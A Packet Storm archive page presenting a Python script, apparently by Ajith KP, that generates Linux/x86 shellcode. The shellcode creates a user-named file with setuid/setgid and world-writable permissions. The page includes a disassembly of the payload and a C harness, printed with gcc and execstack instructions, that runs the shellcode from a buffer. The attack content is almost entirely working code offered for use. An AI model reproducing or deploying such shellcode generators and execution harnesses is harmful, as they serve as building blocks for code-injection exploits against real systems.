exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 Create 7775 File Shell Generator

Linux/x86 Create 7775 File Shell Generator
Posted Sep 8, 2015
Authored by Ajith KP

Python code leveraging Linux/x86 shellcode to create a file w/ 7775 permissions and exit.

tags | x86, shellcode, python
systems | linux
SHA-256 | 1d802accfe54f044768cc7b8b0d857b73231ea163f8fb4deb43fce5ff31004a2

Linux/x86 Create 7775 File Shell Generator

Change Mirror Download
#!/bin/python
from sys import argv

"""
Shellcode Generator...
Create file with permission 7775

---------------------------------------------------------------------------------
Disassembly of section .text:

08048060 <.text>:
8048060: eb 12 jmp 0x8048074
8048062: 5b pop %ebx
8048063: 31 c0 xor %eax,%eax
8048065: 88 43 05 mov %al,0x5(%ebx)
8048068: b0 08 mov $0x8,%al
804806a: b1 ff mov $0xff,%cl
804806c: b5 ff mov $0xff,%ch
804806e: cd 80 int $0x80
8048070: b0 01 mov $0x1,%al
8048072: cd 80 int $0x80
8048074: e8 e9 ff ff ff call 0x8048062
8048079: 61 popa
804807a: 6a 69 push $0x69
804807c: 74 68 je 0x80480e6
804807e: 23 .byte 0x23
---------------------------------------------------------------------------------
b4ck 2 h4ck --- Ajith Kp [@ajithkp560] --- http://www.terminalcoders.blogspot.com

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |
"""

bann3r = '''
/*
[][][][][][][][][][][][][][][][][][][][][][][]
[] []
[] c0d3d by Ajith Kp [ajithkp560] []
[] http://www.terminalcoders.blogspot.in []
[] []
[][][][][][][][][][][][][][][][][][][][][][][]
*/
'''
sh3ll = "\\xeb\\x12\\x5b\\x31\\xc0\\x88\\x43"
sh311 ="\\xb0\\x08\\xb1\\xff\\xb5\\xff\\xcd\\x80\\xb0\\x01\\xcd\\x80\\xe8\\xe9\\xff\\xff\\xff"
print bann3r
if len(argv)<1:
print 'Usage: '+argv[0]+' name_of_file'
else:
fil3 = argv[1]
h3x = ''
for i in range(len(fil3)):
h3x+=str('\\'+hex(ord(fil3[i]))[1:])
h3x+=str('\\' + 'x23')
l3n = '\\x'+hex((len(fil3)))[2:].zfill(2)
sh = str(sh3ll) + str(l3n) + str(sh311) + str(h3x)
print '// Compile with'
print '// $ gcc -o output source.c'
print '// $ execstack -s output'
print '// $ ./output'
print '////////////////////////////////////////////\n'
print '# include <stdio.h>'
print 'char sh[] = "'+sh+'";'
print 'main(int argc, char **argv)'
print '''{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();'''
print '}'
print '\n////////////////////////////////////////////'
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close